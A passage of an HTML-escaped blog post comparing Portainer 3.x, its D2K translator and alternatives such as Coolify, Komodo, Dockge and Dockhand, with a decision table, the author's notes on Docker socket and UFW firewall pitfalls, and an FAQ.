&lt;pre class=&quot;language-bash&quot; data-language=&quot;bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token function&quot;&gt;docker&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;ps&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;--filter&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;portainer &lt;span class=&quot;token parameter variable&quot;&gt;--format&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;#39;{{.Image}}&amp;#39;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Staying costs you new features and buys you time to decide.&lt;/p&gt;
&lt;h3 id=&quot;path-2-you-move-to-3x-on-the-3-node-license&quot;&gt;Path 2: you move to 3.x on the 3-node license&lt;/h3&gt;
&lt;p&gt;Your native Docker environments keep working; the announcement is explicit about that. What changes are the terms: a Business license that expires, a three-node cap, a product whose roadmap no longer includes Docker, and a 3.0 that ships as STS (the LTS arrives in December with 3.3.0). If you manage more than three hosts, this path is a paid one.&lt;/p&gt;
&lt;p&gt;There is an upside if several people share your Portainer: role-based access control is a Business Edition feature per the &lt;a href=&quot;https://docs.portainer.io/admin/user/roles&quot;&gt;roles documentation&lt;/a&gt;, so 3 Nodes Free gives you RBAC.&lt;/p&gt;
&lt;h3 id=&quot;path-3-you-follow-portainers-advice-and-move-to-d2k&quot;&gt;Path 3: you follow Portainer’s advice and move to D2K&lt;/h3&gt;
&lt;p&gt;This is where things do break, by design rather than by bug. &lt;a href=&quot;https://github.com/portainer/d2k&quot;&gt;D2K&lt;/a&gt; (MIT licensed) exposes the Docker Engine API and translates every call into Kubernetes objects inside one namespace. Its own README lists what it does not support and says it “will not be added”:&lt;/p&gt;









































&lt;div class=&quot;table-responsive&quot;&gt;&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;What you use on Docker today&lt;/th&gt;&lt;th&gt;What happens on D2K&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;build:&lt;/code&gt; in your compose file&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Ignored&lt;/strong&gt;: images must be pre-built and pushed to a registry&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;docker build&lt;/code&gt;, &lt;code&gt;docker load&lt;/code&gt;, &lt;code&gt;docker save&lt;/code&gt;, &lt;code&gt;buildx&lt;/code&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Not supported&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;macvlan&lt;/code&gt; / &lt;code&gt;ipvlan&lt;/code&gt; networks&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Not supported&lt;/strong&gt;: those workloads “must remain on a native Docker host”&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;--network host&lt;/code&gt;, &lt;code&gt;--ip&lt;/code&gt;, &lt;code&gt;--mac-address&lt;/code&gt;, &lt;code&gt;--link&lt;/code&gt;&lt;/td&gt;&lt;td&gt;No equivalent&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Separate networks per stack&lt;/td&gt;&lt;td&gt;&lt;code&gt;docker network create&lt;/code&gt; is synthetic: &lt;strong&gt;network isolation is not enforced&lt;/strong&gt;, and all pods share the namespace network&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Bind mounts like &lt;code&gt;./data:/app/data&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Become &lt;code&gt;hostPath&lt;/code&gt; volumes, “unreliable in multi-node clusters”&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;--device&lt;/code&gt; (for example &lt;code&gt;/dev/video0&lt;/code&gt;), &lt;code&gt;--ulimit&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Not translated&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;docker stats&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Needs metrics-server to return real data&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;
&lt;p&gt;If your compose file builds its image on the same server, if you isolate your database on an internal network, or if anything runs with &lt;code&gt;network_mode: host&lt;/code&gt;, D2K is not a migration. It is a redesign, and there is still a Kubernetes cluster underneath to operate.&lt;/p&gt;
&lt;h2 id=&quot;the-alternatives-verified&quot;&gt;The alternatives, verified&lt;/h2&gt;
&lt;p&gt;I checked the repository, license and latest release of each one on 13 September 2026.&lt;/p&gt;
&lt;h3 id=&quot;coolify-if-what-you-do-in-portainer-is-deploy-your-own-apps&quot;&gt;Coolify: if what you do in Portainer is deploy your own apps&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;License:&lt;/strong&gt; Apache-2.0. About 61,700 GitHub stars.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Maturity:&lt;/strong&gt; stable v4.0.0 shipped on 27 April 2026, and the latest release is &lt;strong&gt;v4.3.19, from 10 September&lt;/strong&gt;. It shipped four releases between 3 and 10 September.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;What it is:&lt;/strong&gt; a self-hosted PaaS, not a container UI. It deploys from git (Nixpacks, Railpack, Dockerfile, Docker Compose or static site), runs the reverse proxy (Traefik or Caddy) with certificates, schedules database backups, ships 280+ one-click services and manages multiple servers over SSH.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Users:&lt;/strong&gt; teams, 2FA, and OAuth with Azure, Bitbucket, Clerk, Discord, GitHub, GitLab, Google, Authentik, Infomaniak and Zitadel (the list comes from the source code).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Requirements:&lt;/strong&gt; 2 cores, 2 GB of RAM and 10 GB of disk per its &lt;a href=&quot;https://coolify.io/docs/get-started/installation&quot;&gt;documentation&lt;/a&gt;, which also recommends a fresh server to avoid conflicts with whatever is already running.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;What it is not:&lt;/strong&gt; a dashboard for containers you started by hand. Its model is that Coolify does the deploying.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Swarm:&lt;/strong&gt; &lt;strong&gt;deprecated.&lt;/strong&gt; The notice in its own code says Swarm will be removed in Coolify v5 and that new Swarm deployments are not recommended.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;komodo-the-most-direct-portainer-replacement-across-many-servers&quot;&gt;Komodo: the most direct Portainer replacement across many servers&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;License:&lt;/strong&gt; GPL-3.0. About 12,200 stars. Latest release: &lt;strong&gt;v2.3.3, from 1 September 2026&lt;/strong&gt;; v2.0.0 shipped on 24 March.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;What it does:&lt;/strong&gt; connects servers (with an agent called Periphery on each), deploys containers and &lt;strong&gt;Compose stacks defined in the UI, on the host or in a git repo, with auto-redeploy on push through webhooks&lt;/strong&gt;. It also builds images, runs scheduled automations and records who changed what and when.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Swarm:&lt;/strong&gt; supported since v2.0.0 (clusters, nodes, services, stacks, configs and secrets).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Users:&lt;/strong&gt; username and password with 2FA, OAuth with GitHub, Google and generic OIDC, and granular role-based permissions.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Server limit:&lt;/strong&gt; none, “and there never will be,” per its README.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Requirements:&lt;/strong&gt; Docker, plus &lt;strong&gt;MongoDB or FerretDB&lt;/strong&gt; (on Postgres) for Core. It asks for the most infrastructure on this list, and its docs assume you bring your own reverse proxy.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;dockge-if-all-you-want-is-to-edit-composeyaml-files-in-a-browser&quot;&gt;Dockge: if all you want is to edit &lt;code&gt;compose.yaml&lt;/code&gt; files in a browser&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;License:&lt;/strong&gt; MIT. About 24,300 stars. Same author as Uptime Kuma.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Maturity:&lt;/strong&gt; latest release &lt;strong&gt;1.5.0, from 30 March 2025&lt;/strong&gt;; the latest commit on &lt;code&gt;master&lt;/code&gt; is from April 2026. Maintenance is slow.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;What it does:&lt;/strong&gt; creates, edits, starts and updates Compose stacks with a web terminal, and converts &lt;code&gt;docker run&lt;/code&gt; commands to compose. Your files stay on disk (&lt;code&gt;/opt/stacks&lt;/code&gt; by default) and keep working with plain &lt;code&gt;docker compose&lt;/code&gt;. Since 1.4.0 it manages multiple hosts through agents.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;What it doesn’t:&lt;/strong&gt; &lt;strong&gt;it has a single account.&lt;/strong&gt; Setup refuses to create a second user, and the pull request that added users and groups (#891) was closed unmerged in July 2026. No SSO, no roles, and the README does not mention deploying from git.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;dockhand-the-most-complete-ui-with-fine-print-in-the-license&quot;&gt;Dockhand: the most complete UI, with fine print in the license&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;It exists and moves fast:&lt;/strong&gt; the &lt;a href=&quot;https://github.com/Finsys/dockhand&quot;&gt;&lt;code&gt;Finsys/dockhand&lt;/code&gt;&lt;/a&gt; repository was created in December 2025, has about 6,200 stars, and its latest release is &lt;strong&gt;v1.0.47, from 12 September 2026&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;What it does:&lt;/strong&gt; containers, Compose stacks with a visual editor, &lt;strong&gt;git deployments with webhooks&lt;/strong&gt;, multiple hosts (over the socket, TCP with TLS, or Hawser, its MIT-licensed agent that connects outbound with no open ports), vulnerability scanning with Grype and Trivy, backups (in beta) and free OIDC/SSO. SQLite by default or PostgreSQL, and they say it runs on a Raspberry Pi 4.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;What it doesn’t:&lt;/strong&gt; Swarm; there is an &lt;a href=&quot;https://github.com/Finsys/dockhand/issues/58&quot;&gt;open issue&lt;/a&gt; asking for it. RBAC, LDAP/Active Directory and compliance audit logging are Enterprise features ($1,499 per host per year).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The license contradicts itself.&lt;/strong&gt; The repository’s &lt;code&gt;LICENSE.txt&lt;/code&gt; is the &lt;strong&gt;Business Source License 1.1&lt;/strong&gt; with an additional use grant that explicitly permits “internal business use” in production, as long as you do not offer it as a Docker management SaaS; it converts to Apache-2.0 on 1 January 2029. The &lt;a href=&quot;https://dockhand.pro/license.html&quot;&gt;license terms on its website&lt;/a&gt;, however, say commercial users need a paid license for production environments or shared instances, and the pricing table places the “commercial usage license” in the SMB plan ($499 per host per year). For a homelab there is no ambiguity. If you are a company, get clarification in writing before you put it in production.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;lazydocker-and-yacht-for-completeness&quot;&gt;Lazydocker and Yacht, for completeness&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://github.com/jesseduffield/lazydocker&quot;&gt;Lazydocker&lt;/a&gt;&lt;/strong&gt; (MIT, about 52,800 stars, v0.25.2 from April 2026) is a terminal UI, not a web server: no users, no agents, nothing to expose. If you only used Portainer to read logs and restart containers, it is enough.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://github.com/Yacht-sh/Yacht&quot;&gt;Yacht&lt;/a&gt;&lt;/strong&gt; published again in September 2026 (release &lt;code&gt;1.1&lt;/code&gt;) after years without releases; the previous one, &lt;code&gt;v0.0.7-alpha&lt;/code&gt;, dates from 2021. Too early to trust with production.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;the-decision-table&quot;&gt;The decision table&lt;/h2&gt;























































&lt;div class=&quot;table-responsive&quot;&gt;&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Your situation&lt;/th&gt;&lt;th&gt;Pick&lt;/th&gt;&lt;th&gt;Why&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Homelab with 1 to 3 hosts; you use Portainer CE to look and restart&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Stay on CE 2.45.0&lt;/strong&gt; and decide before May 2027&lt;/td&gt;&lt;td&gt;Nothing breaks today and you have runway&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;You only edit &lt;code&gt;compose.yaml&lt;/code&gt; files and you are the only user&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Dockge&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;MIT, minimal, and your files stay on disk&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;You want a modern Portainer-style UI for personal use&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Dockhand&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Most complete: git, vulnerability scanning and free SSO&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;A company with several servers, several people and stacks in git&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Komodo&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;GPL, no server limit, roles and OIDC with no license fee&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;You run Docker Swarm&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Komodo&lt;/strong&gt;, or stay on Portainer 2.45&lt;/td&gt;&lt;td&gt;Coolify deprecated it; Dockge and Dockhand don’t support it&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;You deploy your own apps from git to one or more VPSes&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Coolify&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Builds, proxy, certificates and backups included&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;You already pay for Portainer Business, or 3 nodes with RBAC is enough and you are heading to Kubernetes&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Portainer 3.x&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;That is exactly who it is built for&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;You only open Portainer to read logs&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Lazydocker&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Nothing to expose, nothing to license&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Your stacks build images on the server or use &lt;code&gt;network_mode: host&lt;/code&gt; or &lt;code&gt;macvlan&lt;/code&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Anything but D2K&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;D2K ignores &lt;code&gt;build:&lt;/code&gt; and does not support those networks&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;
&lt;h2 id=&quot;what-i-have-learned-running-coolify-on-two-vpses&quot;&gt;What I have learned running Coolify on two VPSes&lt;/h2&gt;
&lt;p&gt;I run Coolify in production on two servers: one hosting this site and client apps, the other running internal tools. Three things no comparison page tells you, and they apply to any tool that talks to the Docker socket, Portainer, Dockge and Dockhand included.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1. After upgrading &lt;code&gt;docker-ce&lt;/code&gt;, restart the containers that mount the socket.&lt;/strong&gt; In May 2026 I upgraded Docker from 29.5.0 to 29.5.2 with &lt;code&gt;live-restore&lt;/code&gt; enabled. The apps stayed up, but Coolify’s proxy (Traefik with the Docker provider) got stuck in a reconnect loop against &lt;code&gt;/var/run/docker.sock&lt;/code&gt;. The result: &lt;strong&gt;HTTP 502 on every app&lt;/strong&gt; routed through Docker, while the dashboard, which is routed through a config file, kept responding, which makes it easy to misdiagnose. &lt;code&gt;live-restore&lt;/code&gt; protects the containers, not the connections they held open to the socket. Since then, after every upgrade I run:&lt;/p&gt;
&lt;pre class=&quot;language-bash&quot; data-language=&quot;bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token function&quot;&gt;docker&lt;/span&gt; restart coolify-proxy coolify-sentinel
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Or, more generally, I restart every container that mounts the socket:&lt;/p&gt;
&lt;pre class=&quot;language-bash&quot; data-language=&quot;bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;token for-or-select variable&quot;&gt;c&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;token variable&quot;&gt;&lt;span class=&quot;token variable&quot;&gt;$(&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;docker&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;ps&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;--format&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;#39;{{.Names}}&amp;#39;&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;do&lt;/span&gt;
  &lt;span class=&quot;token function&quot;&gt;docker&lt;/span&gt; inspect &lt;span class=&quot;token parameter variable&quot;&gt;-f&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;#39;{{range .Mounts}}{{if eq .Source &amp;quot;/var/run/docker.sock&amp;quot;}}{{$.Name}}{{end}}{{end}}&amp;#39;&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;quot;&lt;span class=&quot;token variable&quot;&gt;$c&lt;/span&gt;&amp;quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;grep&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-v&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;#39;^$&amp;#39;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;done&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;xargs&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-r&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-n1&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;docker&lt;/span&gt; restart
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Note that since v4.3.19 Sentinel is mandatory on regular Coolify servers, so restarting &lt;code&gt;coolify-sentinel&lt;/code&gt; now applies to every install.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. Docker bypasses UFW.&lt;/strong&gt; When I installed Coolify on the second VPS, the dashboard and realtime ports ended up open to the internet even though UFW did not allow them: ports published by a container go through iptables rules that Docker manages before UFW ever sees the traffic. I fixed it with &lt;code&gt;DROP&lt;/code&gt; rules in the &lt;code&gt;DOCKER-USER&lt;/code&gt; chain, matching on the connection’s original destination port (&lt;code&gt;conntrack --ctorigdstport&lt;/code&gt;, because by the time a packet reaches that chain, DNAT has already rewritten the port), and left only 80 and 443 public. If you install any of these UIs with a published port, &lt;strong&gt;check from outside the server&lt;/strong&gt;; do not trust &lt;code&gt;ufw status&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3. Firewall rules pinned to a container IP break on reboot.&lt;/strong&gt; On the production server, after a reboot, every domain timed out even though Traefik was healthy. The &lt;code&gt;ufw-docker&lt;/code&gt; rules pointed at the proxy’s old internal IP, and the proxy came back with a different one. The fix that holds was allowing 80 and 443 to Docker’s network range instead of to a specific IP. Restarting Docker does not fix it, because the rules belong to UFW.&lt;/p&gt;
&lt;p&gt;And one that comes straight from Coolify’s own documentation, which I can confirm: create the admin account as soon as the install finishes. Whoever reaches the registration page first gets control of the server.&lt;/p&gt;
&lt;p&gt;If you are copying your stacks out of Portainer into another tool, validate each &lt;code&gt;compose.yaml&lt;/code&gt; against the official schema before the first deploy:&lt;/p&gt;
&lt;aside class=&quot;not-prose my-8 flex flex-wrap items-center gap-4 rounded-2xl border border-neutral-100 bg-white p-5 transition-all duration-200 hover:shadow-[5px_5px_rgba(0,98,90,0.3),10px_10px_rgba(0,98,90,0.2),15px_15px_rgba(0,98,90,0.1)] dark:border-zinc-800 dark:bg-zinc-900/40&quot; style=&quot;border-left:4px solid #3b82f6&quot;&gt; &lt;span class=&quot;grid size-12 shrink-0 place-items-center rounded-xl&quot; style=&quot;background:#3b82f61a;color:#3b82f6&quot;&gt;  &lt;/span&gt; &lt;div class=&quot;flex min-w-48 flex-1 flex-col gap-0.5&quot;&gt; &lt;span class=&quot;text-xs font-semibold tracking-wide text-zinc-500 uppercase dark:text-zinc-400&quot;&gt; Free tool &lt;/span&gt; &lt;span class=&quot;text-lg leading-snug font-bold text-blacktext dark:text-mint-50&quot;&gt; Docker Compose Validator &lt;/span&gt; &lt;span class=&quot;text-sm text-pretty text-zinc-600 dark:text-zinc-400&quot;&gt; Validate your compose.yaml against the official Compose schema and catch key typos, wrong types and YAML errors, with the exact line. All in your browser. &lt;/span&gt; &lt;/div&gt; &lt;a href=&quot;https://ortamarco.me/en/tools/docker-compose-validator/&quot; data-umami-event=&quot;tool_callout_click&quot; data-umami-event-tool=&quot;validador-docker-compose&quot; class=&quot;shrink-0 rounded-xl max-sm:w-full max-sm:text-center sm:ml-auto bg-mint-600 px-4 py-2 text-sm! font-semibold text-white! no-underline! transition-colors hover:bg-mint-700 hover:text-white!&quot;&gt; Open tool → &lt;/a&gt; &lt;/aside&gt;
&lt;h2 id=&quot;verdict&quot;&gt;Verdict&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;If you run Portainer CE on Docker, do not migrate this month.&lt;/strong&gt; 2.45 LTS is still maintained, 3.0 ships as STS, and the first 3.x LTS does not arrive until December. Pin the image to &lt;code&gt;2.45.0&lt;/code&gt; and use the next few months to trial your alternative on a server that is not production.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;But do not wait for a CE 3.x, because it is not coming.&lt;/strong&gt; The Portainer you knew — free, no sign-up, no node cap, Docker as a first-class citizen — is frozen on 2.x.&lt;/p&gt;
&lt;p&gt;To choose, ask what you really do in Portainer. If you &lt;strong&gt;deploy your own apps&lt;/strong&gt;, the natural move is Coolify, and it is what I use. If you &lt;strong&gt;manage stacks across several servers with a team&lt;/strong&gt;, Komodo is the closest thing to what Portainer used to be, with no node cap and no commercial license. If &lt;strong&gt;it is just you and a homelab&lt;/strong&gt;, Dockge if the minimum is enough, or Dockhand if you want everything. And if you were already heading to Kubernetes, Portainer 3.x is built for you; D2K only makes sense if your stacks neither build images nor rely on special networking.&lt;/p&gt;
&lt;p&gt;Keep reading:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://ortamarco.me/en/blog/complete-docker-guide-2026/&quot;&gt;The complete Docker guide for 2026&lt;/a&gt;: Compose v5, Engine 29 and how Compose, Swarm and Kubernetes compare for production.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://ortamarco.me/en/blog/what-breaks-upgrading-to-kubernetes-1-37/&quot;&gt;Kubernetes 1.37: what breaks on upgrade day&lt;/a&gt;: if you do end up on Kubernetes, with or without D2K, this is what blocks an upgrade right now.&lt;/li&gt;
&lt;/ul&gt;
 &lt;section class=&quot;not-prose my-10&quot;&gt; &lt;h2 class=&quot;mb-6 font-fraunces text-3xl font-bold text-blacktext dark:text-white&quot;&gt; Frequently asked questions &lt;/h2&gt; &lt;div class=&quot;flex flex-col gap-3&quot;&gt; &lt;details class=&quot;group rounded-2xl border border-zinc-200 bg-white/60 px-5 py-4 dark:border-zinc-800 dark:bg-zinc-900/40&quot;&gt; &lt;summary class=&quot;flex cursor-pointer list-none items-start justify-between gap-4&quot;&gt; &lt;h3 class=&quot;text-lg font-semibold text-blacktext dark:text-white&quot;&gt; Is Portainer Community Edition going away with 3.0? &lt;/h3&gt;  &lt;/summary&gt; &lt;p class=&quot;mt-3 text-lg leading-relaxed text-zinc-700 max-md:text-base dark:text-zinc-300&quot;&gt; Not immediately, but there will be no CE 3.x. According to the official announcement on 11 September 2026, CE continues on the 2.x codebase and will not receive the 3.x changes. Portainer is not cutting a separate CE build of 3.x: the free way to run 3.x is the 3 Nodes Free program, which is a Business Edition license. Portainer&amp;#39;s lifecycle policy gives 2.45 LTS maintenance until May 2027. &lt;/p&gt; &lt;/details&gt;&lt;details class=&quot;group rounded-2xl border border-zinc-200 bg-white/60 px-5 py-4 dark:border-zinc-800 dark:bg-zinc-900/40&quot;&gt; &lt;summary class=&quot;flex cursor-pointer list-none items-start justify-between gap-4&quot;&gt; &lt;h3 class=&quot;text-lg font-semibold text-blacktext dark:text-white&quot;&gt; What is Portainer 3 Nodes Free and what does it limit? &lt;/h3&gt;  &lt;/summary&gt; &lt;p class=&quot;mt-3 text-lg leading-relaxed text-zinc-700 max-md:text-base dark:text-zinc-300&quot;&gt; It is a free Portainer Business Edition license for up to three nodes, limited to one license per organization and requested through a form. The license expires and must be renewed: the new key is sent no earlier than 14 days before expiry. On Docker, any server running the Portainer Server or the Portainer Agent counts as a node, so three Docker hosts already use up the free tier. &lt;/p&gt; &lt;/details&gt;&lt;details class=&quot;group rounded-2xl border border-zinc-200 bg-white/60 px-5 py-4 dark:border-zinc-800 dark:bg-zinc-900/40&quot;&gt; &lt;summary class=&quot;flex cursor-pointer list-none items-start justify-between gap-4&quot;&gt; &lt;h3 class=&quot;text-lg font-semibold text-blacktext dark:text-white&quot;&gt; Will my Docker environments stop working if I upgrade to Portainer 3.x? &lt;/h3&gt;  &lt;/summary&gt; &lt;p class=&quot;mt-3 text-lg leading-relaxed text-zinc-700 max-md:text-base dark:text-zinc-300&quot;&gt; No. The announcement says native Docker, Swarm and Podman environments can still be added and still work from the UI. What changes is that they are ordered second in the product and will not receive new capabilities from the policy engine, GitOps engine or observability layer. The new products, Portainer-Run, IDP, Command and AiGrid, are Kubernetes-only. &lt;/p&gt; &lt;/details&gt;&lt;details class=&quot;group rounded-2xl border border-zinc-200 bg-white/60 px-5 py-4 dark:border-zinc-800 dark:bg-zinc-900/40&quot;&gt; &lt;summary class=&quot;flex cursor-pointer list-none items-start justify-between gap-4&quot;&gt; &lt;h3 class=&quot;text-lg font-semibold text-blacktext dark:text-white&quot;&gt; How long will Portainer 2.45 LTS get patches? &lt;/h3&gt;  &lt;/summary&gt; &lt;p class=&quot;mt-3 text-lg leading-relaxed text-zinc-700 max-md:text-base dark:text-zinc-300&quot;&gt; The lifecycle policy in Portainer&amp;#39;s documentation lists May 2027 as the end of support and maintenance for 2.45 LTS. The 3.0 announcement says the 2.x line will keep receiving security updates, bug fixes and selective back-ports, without giving an end date. That lifecycle table still lists 2.46 to 2.51 releases that the announcement contradicts, so treat May 2027 as the published date rather than a guarantee. &lt;/p&gt; &lt;/details&gt;&lt;details class=&quot;group rounded-2xl border border-zinc-200 bg-white/60 px-5 py-4 dark:border-zinc-800 dark:bg-zinc-900/40&quot;&gt; &lt;summary class=&quot;flex cursor-pointer list-none items-start justify-between gap-4&quot;&gt; &lt;h3 class=&quot;text-lg font-semibold text-blacktext dark:text-white&quot;&gt; What is Portainer D2K and what does it not support? &lt;/h3&gt;  &lt;/summary&gt; &lt;p class=&quot;mt-3 text-lg leading-relaxed text-zinc-700 max-md:text-base dark:text-zinc-300&quot;&gt; D2K is an MIT-licensed Docker-to-Kubernetes translator: it exposes the Docker Engine API and turns each call into Kubernetes objects inside one namespace. Per its README, it ignores the Compose build directive, does not support docker build, load, save or buildx, does not support macvlan or ipvlan networks, has no equivalent for host networking or static IP and MAC addresses, does not enforce network isolation between stacks, and turns bind mounts into hostPath volumes that are unreliable in multi-node clusters. &lt;/p&gt; &lt;/details&gt;&lt;details class=&quot;group rounded-2xl border border-zinc-200 bg-white/60 px-5 py-4 dark:border-zinc-800 dark:bg-zinc-900/40&quot;&gt; &lt;summary class=&quot;flex cursor-pointer list-none items-start justify-between gap-4&quot;&gt; &lt;h3 class=&quot;text-lg font-semibold text-blacktext dark:text-white&quot;&gt; What is the best free Portainer alternative for Docker? &lt;/h3&gt;  &lt;/summary&gt; &lt;p class=&quot;mt-3 text-lg leading-relaxed text-zinc-700 max-md:text-base dark:text-zinc-300&quot;&gt; It depends on what you use it for. For several servers and several people, Komodo (GPL-3.0) has no server limit and includes roles and OIDC, although it needs MongoDB or FerretDB. For one person editing compose files, Dockge (MIT) is the simplest, but it supports a single account. For deploying your own apps from git with a proxy and certificates, Coolify (Apache-2.0). Dockhand is the most complete UI, but its commercial licensing is ambiguous. &lt;/p&gt; &lt;/details&gt;&lt;details class=&quot;group rounded-2xl border border-zinc-200 bg-white/60 px-5 py-4 dark:border-zinc-800 dark:bg-zinc-900/40&quot;&gt; &lt;summary class=&quot;flex cursor-pointer list-none items-start justify-between gap-4&quot;&gt; &lt;h3 class=&quot;text-lg font-semibold text-blacktext dark:text-white&quot;&gt; Can Coolify replace Portainer? &lt;/h3&gt;  &lt;/summary&gt; &lt;p class=&quot;mt-3 text-lg leading-relaxed text-zinc-700 max-md:text-base dark:text-zinc-300&quot;&gt; Only if what you do in Portainer is deploy your own applications. Coolify is a self-hosted PaaS: it 